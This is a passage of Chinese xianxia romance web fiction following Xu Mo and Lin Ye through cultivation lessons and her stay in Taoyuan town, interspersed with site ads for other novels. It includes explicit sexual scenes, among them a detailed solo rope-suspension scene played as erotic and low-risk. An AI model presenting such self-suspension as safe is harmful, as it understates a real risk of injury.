  “唔!”正处于深度冥想中的许墨灵体忽然感受到一股霸道而温和的力量从身体最敏感的部位涌入,让她在识海中忍不住发出一声惊呼。但紧接着那股力量如同温暖的潮水,迅速流遍她的全身经脉汇入丹田,林烨沉稳温和的意念也传递过来,轻拍着她进行安抚:“墨宝儿,放松,是我。现在跟随我的引导,内视你的奥秘。”
  许墨的灵体很快安静下来,她本就对林烨充满了绝对的信任。于是放松身心,任由林烨的灵力和神识主导。
  下一刻,许墨的灵体“视野”豁然开朗!
  她不再是依靠肉眼,而是以一种前所未有的“灵识”视角“看”到了自己身体内部的光景!
  那是一片浩瀚而精微的宇宙,无数条闪烁着微光的经脉如同星河般遍布全身,尤其任督二脉等果然如林烨所说比普通修士粗壮坚韧数倍,如同宽阔的江河运转着海量的灵力。而在小腹丹田位置则有一个如同漩涡般的能量汇聚点,那里氤氲着淡白色的灵气雏形,这就是她的“丹田”和“识海”的雏形。
  林烨的灵体化形出现在她的识海中,牵着许墨的手,如同导游般耐心地指点着:“看,这里就是你的丹田,这些是你的主要经脉。你的经脉基础打得极好,宽阔而坚韧,这意味着你的灵力爆发能力会非常强,甚至可以支撑你越级挑战更强的对手。但是……”
  他的手指向丹田那个漩涡:“你的丹田容量目前看来虽然比同级别的普通修士要大了两三倍,已经算是天才级别,但相比于你超出常规十倍以上的经脉强度就很麻烦了。这就像是小马拉大车,无法供应经脉长时间全力运转的巨大消耗。”
  许墨的灵体闻言,显得有些紧张:“那……那该如何是好?会不会影响修行?”
  林烨的灵体轻松地笑了笑,拍了拍她的手背:“会是肯定会的,不过方法也很简单,解决思路有两个。一是在安全范围内,尽可能扩张你丹田和识海的容量,这叫‘开源’;二是学会更精细地控制灵力消耗,或者寻找快速补充灵力的方法,比如边打架边狂磕灵石,做个‘氪金玩家’。不过我看你肯定不喜欢第二种方式吧?”
  灵体许墨立刻用力摇头:“墨不要!修行要凭自身实力,绝不依赖外物挥霍!”
  林烨看她态度坚决,赞赏地点头:“就知道我的墨宝儿有志气!那就选第一条路,扩充丹田容量!”
  他牵引着许墨的灵体视角来到那星海旋涡中心继续解释:“丹田这玩意说白了也是‘用进废退’。你的经脉过去因为被那些足以让筑基修士都干成残废的药浴反复淬炼已经足够强悍了,但在这个过程中丹田也一直处于被透支榨取的状态,不然无法支撑身体对抗药力和维持那种极限训练。所以现在,我们需要‘温养’与‘扩充’双管齐下。我会用药膳和丹药帮你调理修复过去的暗伤,夯实基础。扩充则需要你每日通过打坐呼吸吐纳,将精力集中于丹田本身,引导灵气尽可能多地融入识海化为己用,直到感觉丹田‘撑’得满满的,再也无法容纳更多,然后再通过练习法术、演练体技等方式,将这股灵力一口气释放出来。如此循环往复,丹田的容量自然就会慢慢增长。”
  许墨的灵体认真聆听,用心记忆,很快就理解了其中的原理:“墨明白了!就像锻炼肌肉一样,需要先负重锻炼,再充分休息和补充营养,肌肉才会变得更强壮有力。”
  “聪明!”林烨的灵体赞道,“一点就通!”
  解决了丹田的问题,许墨又问道:“那请问老公,墨修行何种功法最为合适?墨感觉过去的呼吸法似乎已经不够用了。”
  她感到林烨的灵体传来一丝微不可察的为难和纠结情绪。因为此刻两人神识交融,意念近乎通透,很难完全隐藏心思。
  林烨的意念波动,隐隐指向了一个地方——他出身的林氏宗门。
  许墨的灵体瞬间了然,原来老公在为难这个。
  他一身本领源自家族,所修功法必然也是林氏不传之秘。
  自己虽是他的道侣,但毕竟尚未得到林氏宗门的正式认可,贸然传授核心功法,恐怕会给他带来麻烦。
  而此刻感受到她的想法的林烨则是回答道:“功法什么的那些老登还指导不了我,带你回去一趟主要是爆点金币。”
  许墨目瞪口呆,但还是很快稳定心神回答道:“老公不必为难。若是宗门功法不便外传,墨可以先行修炼一些基础的、通用的练气法门,巩固境界。一切……等日后再说。”
  林烨的灵体感受到她的体贴,心中暖流涌动,同时也下定了决心。他哈哈一笑,意念传递出坚定和自信:“墨宝儿放心!你是我林烨的女人岂能修炼那些大路货色?功法的事包在我身上!至于林家……哼,老登们要是不认你做儿媳,大不了我再把山门炸一次!”
  他的霸气宣言驱散了许墨心中的些许阴霾,灵体绽放出明媚的笑容,紧紧依偎着林烨的灵体。
  内视引导持续了约莫一小时,林烨仔细帮助许墨熟悉了自身经络和丹田的运转后,便缓缓退出了她的识海。
  现实中,林烨抬起头,结束了那个香艳的“连接吻”。
  而石床上,被紧紧束缚、感官封闭的许墨周身灵气运转愈发流畅自如,显然已经完全掌握了内视之法,并进入了深度的修炼状态。
  她的呼吸悠长,腹部随着灵气的吸纳与炼化微微起伏,整个人沉浸一种玄而又玄的修行妙境中。
  林烨守在一旁,眼中充满了欣慰、爱怜和一丝难以言喻的兴奋。
  他轻轻抚摸着许墨被丝带勾勒出的腰臀曲线,笑的像是个傻逼。
  洞府内,灵气氤氲,只剩下许墨平稳的呼吸声和林烨充满算计的低笑声轻轻回荡。
  【第一卷番外完】

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

天空之城 / 发表于: 2025/10/14 04:27:01

第二卷  第1章 山中桃源
  桃源镇坐落于两界山深处平和的山谷之中。
  此地与外界的险恶传闻截然不同。春日暖阳映照着阡陌纵横的田垄,灵谷在微风中泛起碧波。
  潺潺溪水推动着古老的水车吱呀作响,镇中屋舍俨然,鸡犬相闻,却无喧嚣之感。
  男人们或在田间劳作,或在作坊打铁制器;女人们则于门前织布缝衣,笑语盈盈。孩童们追逐嬉戏于街巷,白发老叟则聚于树下对弈闲谈。
  这是一派男耕女织,路不拾遗,夜不闭户的祥和景象。
  幼有所养,老有所依,一切按部就班,井然有序得仿佛一幅亘古不变的田园画卷。
  一日,镇口来了个生面孔。
  那是个俊俏得让人眼前一亮的姑娘,一身素净的衣裙,赤足踩着一双简朴的凉鞋,露出白皙的脚踝和藕段一样的半截小腿。她眸光清澈,面容带着几分少女的纯真,对周遭一切都充满了新奇。可偏偏身段窈窕,胸前那一对丰盈傲然如细枝结硕果,又似二十出头的成熟少妇,行走间自有几分难言的风韵。
  这姑娘在镇子里走走停停,摸摸晾晒的灵谷,看看铁匠铺的火花,嗅嗅路边野花的香气,脸上带着懵懂却又快乐的笑意。
  桃源镇数十年来几乎与世隔绝,村民何曾见过如此水灵标致的外来客?
  一时间,无论是忙碌的汉子还是纳鞋底的妇人都忍不住停下手中活计,好奇地打量她。有热情的大婶更是拿出自家腌制的灵果蜜饯塞到她手里,有憨厚的大叔递上刚出炉、灵气四溢的炊饼。
  这姑娘也不忌讳,眉眼弯弯地笑着,给什么便吃什么,边走边尝,腮帮子塞得鼓鼓囊囊,更添几分娇憨之态。
  她信步来到镇子中央那棵不知生长了多少岁月的大槐树下。
  这里正有几位须发皆白、脸上刻满岁月痕迹的老者,在悠闲地品着粗茶下棋对弈,享受着午后的安宁。
  姑娘凑上前,声音清脆如黄鹂:“老爷爷们,你们好呀。能跟我讲讲这桃源镇的故事吗?你们是怎么来到这里的呀?”
  老人们见这姑娘灵气十足,嘴又甜,自是欢喜。
  其中一位最年长的,眯着眼陷入了遥远的回忆,缓缓开口道:“丫头,说来话长咯……那都是五十多年前的事儿喽。我们这一大伙人,那时候还是一群饿得前胸贴后背、拖家带口的难民,为了躲避外面的兵荒马乱,没头没脑地逃进了这深山老林……”
  “就在大伙以为要完了的时候,嘿,奇了!一个穿着杏黄道袍的道人就跟从画里走出来似的,突然就出现在我们面前。”
  另一位老人接过话头,眼中闪烁着敬畏的光,“是啊是啊,我还记得呢,那位道长可真是鹤发童颜仙风道骨,他一句话没说,只是抬手给我们指了个方向。我们顺着方向走,就找到了这片山谷。”
  “是啊,”
  最先开口的老人感慨道,“这地方真是老天爷赏饭吃!土地肥得流油,种啥长啥,风调雨顺。从此啊,我们就在这里扎下了根,一代一代,开枝散叶,把这荒谷建成了如今这模样。”
  姑娘听得入神,眼中异彩连连。她一听黄衣道人不由得会心一笑,回想起自己当初第一次见到那男人的情景,不由得心中暗忖:“还好这黄衣道人没开口说话,不然这些老爷爷们怕是真不敢来。”
  槐树下的老人们回想起当年不由得多说了些有的没的,姑娘停下询问,便好奇追问道:“丫头,那你来咱们这桃源镇,是寻亲还是访友啊?”
  许墨闻言,脸上飞起两抹红霞。
  她腼腆地笑了笑,声音轻柔却清晰:“老人家,我来找巨阳道人。”
  “啥?找那个疯道士?”
  老人们齐齐一愣,随即爆发出一阵哄笑。
  那最年长的老者捋着胡须,上下打量着许墨,眼中满是不可思议:“小姑娘,你没找错人吧?那个整天神神叨叨、满嘴跑火车,不是帮人通下水道就是写些歪歪扭扭春联的巨阳道人?你和他是啥关系啊?”
  许墨低下头,绞着衣角,声若蚊蝇,却带着一丝不容置疑的坚定:“我叫许墨,是……是他的道侣。听说他家就住在桃源镇,所以特地来寻。”
  “道侣?!”
  老人们顿时炸开了锅,个个瞪大了眼睛,仿佛听到了天方夜谭。
  他们围着许墨,像是打量一件稀世珍宝,又像是看着一朵鲜花即将插在……嗯,某种特殊的培育基质上。
  “这……这疯疯癫癫的道士何德何能啊?”
  一个老人捶胸顿足,“老天爷真是不长眼啊!这么水灵俊俏的姑娘,怎么就……”
  他话锋一转,带着几分关切和义愤,“丫头,你跟爷爷们说实话,那混蛋究竟是怎么骗了你?是不是还把你始乱终弃了?别怕!我们几个老骨头当年逃难时的打狗棒可还留着呢!等下次那小子再来镇上摆摊算命我们非帮你打烂他的狗头!”
  许墨连忙摆手,急得脸颊更红:“非也非也!老人家们莫要误会!老公……不,夫君他待我极好。他只是……只是有些要事暂时外出,把家里的钥匙给了我,让我先来住一阵子等他。只是我初来乍到,还不知道房子在哪儿。”
  她这番解释加上那情急之下的羞赧神态,总算让老人们将信将疑地平静下来。
  他们互相看了看,眼神交流着“这姑娘怕不是被那疯道士骗傻了”的同情,但终究还是热心地为她指明了方向。
  “喏,顺着这条青石板路一直往东走,走到头,看见一棵歪脖子老柳树,树下那间最不起眼、门口还挂着块破牌子的小院就是他家了。”
  许墨谢过老人们,在一路好奇、同情、惋惜交织的目光中按照指引来到了镇子东头。
  果然,一间简朴的篱笆小院静静伫立在老柳树下,与周围民居并无二致。只是院门旁确实挂着一块木牌,上面用颇为随性的字迹写着:“专业开锁、防水补漏、疏通管道,修自来水。价格公道,童叟无欺”。
  许墨看着这块极具“生活气息”的招牌,想象着林烨在此地“招摇撞骗”的模样,忍不住扶额轻轻叹了口气,嘴角却勾起一抹无奈又宠溺的弧度。
  她左右看看无人注意,便微微侧身,熟练地从胸前深邃的乳沟间摸索出一枚温热的钥匙——那是林烨临行前塞给她的,还带着他指尖的温度和一丝欠揍的笑意。
  “咔哒”一声,锁开了。
  许墨推门而入,小院干净整洁,只有几畦菜地。
  许墨看了一眼地里的青菜,长势茂盛喜人,暂时也不需要浇水,于是她径直走进正屋。
  屋内陈设简单得近乎寡淡,但桌椅板凳、床榻柜橱一应俱全,收拾得整整齐齐。
  房间角落里竟有一间小小的浴室,里面赫然安装着与山中洞府里一模一样的马桶、浴缸和陶瓷洗手台。
  “果然……”
  许墨心中了然,她走到洗手台前拧开黄铜水龙头,清冽的山泉水哗哗流出。
  她掬起一捧水扑在脸上,冰凉的感觉让她精神一振,也洗去了些许旅途的尘埃。
  她用自带的丝帕擦干脸,走到床边坐下。
  床铺是简单的硬板床,铺着干净的粗布床单。
  她环顾这间除了基本家具几乎空无一物的屋子,一时间有些发愣。
  袭击本想找点事情做,比如打扫一下卫生,却发现屋里虽然简陋却异常干净,窗明几净,连一丝灰尘都难觅,空气中也没有任何霉味或怪味,只有阳光晒过木头的淡淡香气。
  她长长地、舒缓地呼出一口气,紧绷的神经终于彻底放松下来。
  这里,就是林烨在俗世中的“家”吗?
  虽然简单,却有种奇异的安宁感。
  许墨视线向下,不经意间扫过床头的矮柜,许墨眉头微微一挑,一种熟悉的预感涌上心头。
  她起身,拉开抽屉,最后嘴角不由自主的勾起一丝奇妙的弧度。
  果然!
  抽屉里,没有杂物,没有零碎,只有一捆捆质地柔软、色泽鲜红的绳索码放得整整齐齐。
  许墨的目光深深落在那抽屉里一捆捆质地上乘、色泽饱满如火的绳索上。
  指尖拂过,传来熟悉的微凉与顺滑触感,一股热流却悄然自小腹扩散开来,深植于骨髓的渴望在她的身体里渐渐燃起。
  她先取出一根较长的红绳,坐在床沿将双腿并拢伸直。绳索首先缠绕上纤细的脚踝,一圈,两圈,紧紧贴合,留下浅浅的勒痕。接着,她并未停留,而是牵引着绳股向上,掀起裙摆经过光滑的小腿肚,直达大腿根部。在这里,她的动作变得更为缓慢而刻意。她将绳索的一端从腿间穿过,然后在大腿根处紧紧束拢。但这并非结束——那关键的股绳被她灵巧地调整深深勒入最私密的幽谷之间,精准地嵌入两片娇嫩的阴唇缝隙。粗糙的绳纹与最柔嫩敏感的肌肤相贴,一股尖锐的刺激感瞬间窜上脊柱,让她不由自主地发出一声极轻的、带着颤音的吸气。她微微调整坐姿,让那嵌入的绳股压迫得更深、更真切,这才继续将绳索在腰胯处固定,打上牢固而平整的结。
  接着,她又取出一根更长的绳,开始编织上半身的绳套。绳索从腋下穿过,在胸前交叉,恰到好处地托起并挤压着她那一对丰盈傲人的玉峰,使得乳尖在单薄衣衫下更加清晰地凸起。绳络绕过肩头,在后背收紧,勾勒出她不盈一握的腰肢和优美的背部曲线。绳结依旧巧妙地隐藏在肩胛骨之间。
  最关键的时刻来临了。许墨站起身,仰头看向房梁,眼中闪过一丝混合着期待与羞赧的光芒。她将绳套预留的长端向上一抛,绳端灵巧地绕过粗壮的主梁垂落。她将垂下的绳端与胸前的绳套主绳连接,打了一个绝无可能挣脱的死结。
  现在,只差最后一步了。许墨将双臂背到身后,手腕交叠,主动伸进了那个为她准备好的绳圈中。绳圈收紧,将她的手臂稳固地拘束在背后,形成了一个标准的后手观音式捆绑。她的胸膛因此自然而然地向前挺起,双乳的轮廓在素衣下愈发显得饱满欲出。
  她最后深深吸了一口气,仿佛要将这屋内的安宁气息刻入肺腑,然后,脚尖轻轻一踢,将垫脚的方凳蹬开。
  身体骤然悬空,只有脚趾尖能够些许触碰到地面的石板,而且时断时续!
  重量瞬间由被反剪的双臂和紧绷的绳套承担,带来强烈的拉伸感与束缚感。她口中溢出一声压抑的闷哼,身体本能地蜷缩了一下,但随即便在这悬吊中找到了奇异的平衡。绳索发出令人心安的“嘎吱”声,承接着她的重量,也让她开始像是一只素雅的灯笼,以缓慢无法自控的节奏,轻轻晃动旋转起来。
  如血般的夕阳余晖穿透窗棂,毫无保留地洒满整个房间。
  光线透过她身上那件已被细汗微微濡湿的纯白素衣,衣料仿佛变得半透明,清晰地勾勒出里面被红绳紧紧束缚的、饱满而柔韧的身体轮廓。
  那光线尤其眷顾她向前挺起的胸脯,那一双自然下垂的乳房尖尖,在阳光的映照和绳络的压迫下如同熟透的果实尖蕊,在薄纱后凸显出极为诱人的、坚挺的凸点。
  腰肢被绳索勒紧更显纤细,而臀部的浑圆曲线则在光影下展露无遗。
  悬吊带来的轻微晃动,使得勒在股间的绳股开始持续地、细微地摩擦着最敏感的私密地带。
  每一次旋转,每一次无意识的轻轻挣扎,那粗糙的摩擦都带来一阵阵蚀骨的酥麻和痒意,如同电流般窜遍全身。
  许墨的眼神迅速变得迷离起来,水光潋滟,失去了焦点。原本白皙的脸颊染上动情的绯红,如同晚霞浸透。
  她鼻息变得急促而灼热,微张的唇瓣间,开始溢出细碎而甜腻的轻哼,那声音带着难耐的渴求与无法言说的愉悦。
  她试图并拢双腿以缓解那股来自深处的骚动,但紧绷的股绳却因此更深地陷入蜜裂,带来更强烈的刺激。她的身体开始出现更明显的扭动,不再是单纯的晃动,而是带着情欲的、细微的磨蹭和挣扎。脚趾在空气中蜷缩,脖颈无力地向后仰去,露出优美的弧线,喉间滚动着压抑的喘息。汗水渐渐浸湿了鬓角,几缕发丝黏在潮红的脸侧,更添几分凌乱而性感的美感。
  夕阳缓缓移动,光影在她情动的身体上流转,每一寸被绳索勾勒的肌肤,每一次因摩擦而轻颤的扭动,都构成一幅活色生香、血脉贲张的画面。她完全沉浸在这种由自己亲手缔造、由思念催化的感官风暴之中,意识漂浮在痛苦与极乐的边界。
  不知不觉,夕阳彻底沉入西山,屋内的红光渐渐被清冷的暮色取代。许墨的挣扎和扭动也慢慢平息下来,只剩下身体仍在惯性下微微旋转,和那依旧急促的、带着湿意的喘息声在寂静的房间里清晰可闻。她的眼神空蒙,仿佛还沉溺在方才的极乐余韵中。
  一阵轻微的扑翅声打破了寂静。一只好奇的麻雀从敞开的窗户钻了进来,落在房梁上,歪着小脑袋,黑豆般的眼睛疑惑地打量着下方这个被吊着的、面色潮红、气息不稳的人类。
  许墨若有所觉,缓缓睁开迷蒙的双眼,恰好对上了麻雀的目光。她没有惊慌,也没有羞耻,反而嘴角轻轻扬起,露出一个疲惫而满足的、近乎慵懒的微笑。
  麻雀与她对视片刻,随后歪着脑袋张开了那尖尖的小嘴。
  “墨宝儿,我不是说了我不在的时候别偷偷自缚了嘛?很危险的啊。”
  “老公……”
  许墨双眼闪着泪花,不知是因为疼痛还是纯粹的喜悦:“这不是……就等你来嘛……”
  “好吧好吧,我来了,这就给你解开哦~”

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

天空之城 / 发表于: 2025/10/14 04:28:11

第2章 灵乳咖啡与晨间授业
  清晨的第一缕熹微天光如同细腻的金粉,透过糊着素纸的窗棂温柔地洒进桃源镇东头这间简朴的篱笆小院。
  屋内的许墨已然苏醒,或者说,她早已习惯了在日出前便进入一种宁静而专注的状态。
  与在磐石寨担任神女时那种被仪式规训的早起不同,此刻的她心中充盈的是一种为自己、更是为心上人准备晨起的甜蜜与期盼。
  她赤着双足,踩在微凉却光洁的木地板上,一身肌肤在晨光中泛着如玉般温润的光泽。
  经过林烨的洗髓伐毛,这具身体愈发剔透玲珑,曲线流畅而饱满,每一寸都焕发着勃勃生机万物竞发的景象。
  她走到屋角那个与周遭古朴环境略显格格不入的金属柜子前打开柜门,取出一只造型奇特的金属壶和一小罐漆黑的豆子。
  豆子散发着一种奇异的香气,浓郁、焦苦,却又隐隐带着一丝勾人魂魄的醇厚。
  这便是林烨口中的“魔界灵植”——咖啡豆。
  据他吹嘘,这是他当年游历魔界时从一位魅魔领主的花园里“顺手牵羊”搞来的宝贝,提神醒脑、滋养神魂的效果堪比一些高阶灵丹。
  初尝此物时许墨曾被那极致的苦涩冲击得黛眉紧蹙,险些失态。
  那味道简直比磐石寨后山最苦的黄连还要猛烈数倍,让她下意识便要吐掉。
  然而,就在苦涩即将达到顶峰的刹那,一股奇妙的回甘却悄然涌现,如同幽谷中的一丝清泉,绵柔、甘醇,缓缓抚平了味蕾的躁动,继而带来一种难以言喻的神清气爽之感。
  林烨对此物极为痴迷,称其为“牛马必备”,每日清晨必饮一杯。
  许墨熟练地将豆子研磨成粉装入金属壶的滤网中,引动体内一丝微弱的灵力,指尖跃起一簇小火苗加热壶底的水囊。
  很快,咕嘟咕嘟的声音响起,滚烫的水流穿透咖啡粉,萃取出的黑色汁液滴落在下方的玻璃壶中,浓郁的焦香伴随着一缕极淡的苦涩气味在室内弥漫开来。
  她将深黑色的咖啡液小心翼翼地倒入两个白瓷杯中,每一杯都恰好七分满。浓稠的液体在杯中微微晃动,色泽漆黑,隔着些许距离都能闻到那苦味。随后许墨将咖啡杯放在桌台上,自己则微微俯下身让那对因重力而自然下垂、形状却依旧饱满挺翘的玉乳悬于杯口之上。
  自幼便以各种珍稀药液浸泡淬炼的她身体异于常人,即便未经人事,乳腺也已自然通畅,每日能够分泌出少量的乳汁。
  往日里这乳汁带着药草的清苦,每日若不及排出,便会胀痛难耐。
  但自从林烨为她洗髓之后不仅体内杂质尽去,许墨的乳汁也变得甘甜醇厚,如今练气圆满后更是带着一股淡淡的灵香。
  为夫君调制他最喜欢的“灵乳摩卡”,便是她每日清晨最私密也最幸福的仪式。
  她伸出纤长的手指,轻轻握住自己一侧的乳丘,指尖陷入那软腻的肌肤中,带着一种虔诚而又略带羞意的揉搓与挤压。
  起初并无异样,但随着她力道恰到好处的刺激,那粉嫩如初绽花苞的乳尖渐渐变得硬挺,随即几滴晶莹剔透、散发着诱人甜香的乳白色汁液颤巍巍地滴落下来,精准地落入深黑色的咖啡之中。
  一滴,两滴,三滴……
  乳白的汁液与漆黑的咖啡相遇并未立刻融合,而是先如丝如缕般缠绕、盘旋,勾勒出曼妙的纹路。
  许墨耐心地继续挤压,直到乳汁将杯中的咖啡调和成温暖的浅棕色,方才停手。
  她又如法炮制,为另一杯咖啡也加入了这份独特的“调味”。
  整个过程她神情专注、脸颊微微泛红、身体勾勒出的动人曲线,极尽香艳却又无比温馨。
  做完这一切后许墨先端起其中一杯,小口啜饮。
  经过灵乳中和的咖啡入口时苦涩大减,取而代之的是一种层次丰富的醇厚,咖啡的浓香与乳汁的甘甜完美交融化作一股温热的暖流滑入腹中,随即灵气散开,令她精神为之一振。
  随后,她将另一杯调制好的咖啡连同自己那对刚刚完成“任务”、依旧微微挺立、沾染着些许湿润光泽的玉峰,一同端放在一个宽大的木质托盘上。
  她就这样赤身裸体,手托木盘,步履轻盈地走向卧室。
  卧室内,林烨早已起床,或许昨晚根本没睡许墨并不清楚。
  林烨如今依旧不与许墨同床共寝,但她能够理解夫君的良苦用心。
  他今日未穿那身标志性的黄袍,而是换了一身利落的蓝色工装衬衫,外套一件红色马甲背后写着“垃圾分类从我做起”,脸上没有平日的嬉皮笑脸,多了几分难得的沉静。
  他正站在一张方桌前抓耳挠腮,对着铺在桌上的一幅巨大的等高线地图发呆。
  那地图材质特殊,非纸非帛,上面山川河流、地形地貌栩栩如生,更有点点灵光在不同区域闪烁流转,显然不是凡物。
  许墨赤着脚,地走到林烨身边,并未如寻常妻子般将托盘放在桌上,而是双膝一软,姿态优雅地跪坐在光滑的木地板上,托盘上的一对玉乳刚好将咖啡杯的把手夹在中间,显然这也是她故意为之,林烨想要伸手拿起咖啡杯就必须把手伸进她的乳沟中间摸索一番,每次这么做时林烨就会双眼向上露出一股非礼勿视的尴尬样子,这让她觉得很是有趣。
  她低头垂眸,声音清柔却带着一丝不易察觉的媚意:“老公早安,请用咖啡。”
  林烨从地图上收回目光,低头看着跪在脚边的玉人儿,眼中闪过一丝无奈又宠溺的笑意。
  他伸手将指尖轻轻送入许墨的乳沟之间抓住握把,手指擦过温热的肌肤引得她微微一颤。
  “墨宝儿,”
  林烨啜饮一口咖啡,满意地眯起眼,笑道,“让你学习做咖啡不是让你,哎呀……你好好把咖啡端给我就是了,何必非要摆出这幅……小女奴的样子?”
  许墨抬起头,脸上哪还有半分卑微,分明漾满了狡黠与坏笑,水汪汪的眸子直勾勾地看着林烨:“可是……墨喜欢这样侍奉老公呀~”
  她拖长了尾音,带着点儿撒娇的意味,“这样跪着老公为老公奉上热饮,墨心里觉得踏实,欢喜。”
  林烨闻言,哈哈一笑,也不再纠结于此,仰头将杯中咖啡一饮而尽。
  那灵乳摩卡的独特风味让他舒畅地舒了口气,于是随手将空杯放回许墨仍端着的托盘上,又轻轻拍了拍她用托盘端起的那一对玉乳略做安抚,随后目光重新落回地图,语气变得稍稍正式了些:“墨宝儿,你如今修为已经稳固在练气圆满了罢?”
  许墨将托盘放下,依旧跪坐着,认真点头回应:“回老公,昨夜墨内视周天,丹田气海之内灵气充盈鼓荡,经络畅通无碍,确是练气圆满之象。只是……并未感受到任何突破筑基的契机与征兆。”
  林烨点了点头,似乎早已料到:嗯,这不奇怪。突破这事就像是拉屎,要来的时候挡都挡不住。我当年筑基的时候天雷没劈我倒是把我爹的洞府给轰塌了,害那老登去我二叔洞府里住了一个月,嘿嘿……
  许墨眯着眼睛,语气拉长,显然带上了些许警告的意味;“哈!抱歉抱歉,总之你练气圆满,根基打得足够扎实。但要想‘破境’,光有容量还不够,还需要契机与磨砺。这契机往往并非枯坐静修可得,而需在红尘中、在天地间去体悟,去经历。这便是我要你来这桃源镇居住的真正原因。”
  他顿了顿,问道,“你最近几日在这镇子上来往,感觉如何?”
  许墨闻言,眼中流露出真切的光彩:“墨以为此地甚好!镇中灵气之充裕远超想象,呼吸吐纳间都能感到修为有细微增长。百姓们安居乐业面容祥和,尤其是镇上的青年与孩童几乎人人都有练气修为,更有不少天赋出众者,观其气息沉稳恐怕已臻筑基水准,实在令人惊叹。”
  她略一思索,继续道,“而且,此地无凡俗间的金银货币,人们习惯以物易物,各取所需,织布的用布换米,打铁的用器具换肉,虽看似原始但井然有序。更奇妙的是墨在此间感受不到上下尊卑之分,人与人之间相处自然,老者受尊敬幼者被爱护,但并无苛刻的礼法束缚,有一种……质朴的平等之感。”
  “道常无为而无不为……”
  林烨神色淡然,“我并未刻意去引导他们建立何种制度,也未传授什么高深的功法。只是五十年前恰逢其会将他们引至此地,而后花了些力气将这一方天地的风水格局从原本的五行紊乱、气息相杀,调理成了五行流转生生不息的局面罢了。”
  他伸手指着地图上桃源镇所在的位置,那里正散发着柔和的白光:“天地灵气如同水,水脉通畅,流向均衡,则草木自生,鱼虾自繁。人居于此,自然身心康泰,修行事半功倍。所谓的奇迹,不过是顺应了‘道’的本然。而这五行相生相克之道,也正是你接下来修行中需要切身去体会的重要内容。”
  许墨听得似懂非懂,但“五行相生”这四个字,却深深印入了心中。她感到夫君的话语中,蕴含着远超她目前理解的深意。
  “墨宝,别跪着了,起来说话。”
  林烨伸手想拉她。
  许墨却轻轻摇头,依旧跪得端正,仰起脸,神情变得异常认真:“老公,墨跪着并非玩耍嬉闹。墨是真心有一事不明,想请教夫君。”
  “哦?何事?”
  林烨挑眉。
  许墨深吸一口气,将盘旋心中数日的疑问尽数道出:“夫君,那五十年前指引难民来此的黄衣道人定然是您无疑。墨不解的是,为何一群颠沛流离朝不保夕的逃荒难民,在您的‘无为’之下,不过五十年光景就能发展成如今这般灵气充裕、人人修行、富足安康的乐土?而磐石寨……寨民们千百年来恪守传统,甚至不惜以残忍血祭祈求山神庇佑,为何却依旧只能在贫瘠困苦中挣扎求生,难有寸进?这其中的差异,究竟何在?难道……努力与牺牲,反而比不上顺其自然吗?”
  林烨看着许墨眼中真正的困惑与求索的光芒,收起了脸上的随意。
  他沉默片刻,目光再次投向窗外祥和的镇景,缓缓道:“墨宝儿,你可知磐石寨所在之地山势险恶,地气贫瘠,五行之中,金煞过盛而土气流失,木气难生而水性阴寒?在那样的天地牢笼中纵有万千努力,也不过是在一个不断漏水的破桶里挣扎,事倍功半。血祭则更是饮鸩止渴,违背天道人伦,岂能长久?”
  “而此地,”
  他的视线看向窗外正在升起的渺渺炊烟,“我不过是疏通淤塞,引导水火既济,促进木气生发,让金气有所制,土气有所依。天地大环境变了,生活在其中的人,自然也就变了。他们的努力,放在了肥沃的土地上,故而能开花结果。这并非说努力无用,而是说,首先要认清你所处的‘天地’是怎样的,是助力还是阻力。修道之人,既要修自身,也要明天时,察地利。这便是‘势’的重要性。”
  “夫君,所以您的意思是,环境比人要重要吗?”
  “人固然有主观能动性,但橘生淮南则为橘,生淮北则为枳,修士们往往喜欢说什么‘修仙就是逆天而行’之类的鬼话,但真要是信了那才是傻逼。”
  他顿了顿,总结道:“要谈勤劳与牺牲,磐石寨的人们比这里要多出无数倍,但他们被困于那一方天地视野受限从而故步自封,不思考对外进取破局的方法,反而是毫无下限的搞起行为艺术,把你弄成了如今这幅样子反倒是便宜了我。”
  许墨闻言轻笑,她最初来到桃源镇几天时确实回想起磐石寨每个人都很是辛苦的样貌心中有些许不平,但如今听了林烨的解释,心中也早已释然。
  “所以夫君才常说,选择大于努力吗?”
  林烨微笑点头。
  “是啊。桃源镇的祥和在于顺应五行相生之道,自然就能够生生不息。我所做的不过是拨乱反正,随手扫清一些障碍而已。真正的富足与安宁,是这片土地和人们努力所得的。”
  “所以磐石寨的人们努力错了方向?”
  “是啊,天之道损有余以补不足,人之道则是损不足以奉有余。”
  林烨伸手,轻轻抚摸许墨的脸庞。
  “墨宝儿,你也许未曾恨过磐石寨,但磐石寨过去几百年来都在将你这样的少女生体献祭,以换取一时安稳,那邪修被杀之后献祭行为不但没有停止反而更有甚之,一群凡人对着邪修留下的药方和仪式图谱胡乱魔改,这便是人道,格局小了。”
  许墨静静地听着,眸中光芒闪烁。
  林烨平日里言语抽象行为跳脱,经常说一些莫名其妙的怪话,或者“境界突破如拉屎”这类胡闹一样的比喻,但是每当涉及正事却又严肃认真,又展现出惊人的思想境界。
  许墨回想起自己过去几日所思所想,她之前只看到桃源镇百姓每日悠闲玩耍稍事工作就能生活富足,甚至还有心思练功就当强身健体,而与之对应,她过去在山顶的栖宫看着磐石寨人们每日早出晚归却难有猎获,那攀岩爬壁的采药人们更是每年都有人摔下山崖尸骨无存。
  许墨只是为这些人们感到悲痛惋惜,却未深思其背后的天地法则。
  此刻,她似乎有些明白了“道常无为而无不为”的深意——真正的作为,并非是强加干涉,而是顺应规律,创造适合生长的条件。
  “墨……好像明白一些了。”她轻声说道,眼中困惑渐消,取而代之的是一种豁然开朗的清明。
  “明白就好。”林烨微笑着伸出手,这次许墨没有拒绝,将玉手放入他掌心借力站起身,赤裸的娇躯自然贴向林烨,温香软玉在怀,尤其是那对刚刚泌过乳形状饱满色泽微红的玉峰正在若有若无地蹭着他的手臂。
  林烨身体微微一僵,随即无奈地笑了笑,显然对此等“骚扰”早已习惯,甚至有些甘之如饴。
  他揽着许墨的纤腰,将她带到桌旁,一起观看那幅灵光流转的三维全景地图。
  许墨好奇地打量着地图上标注的各种奇异符号和区域,身体依旧不自觉地与林烨紧贴着。
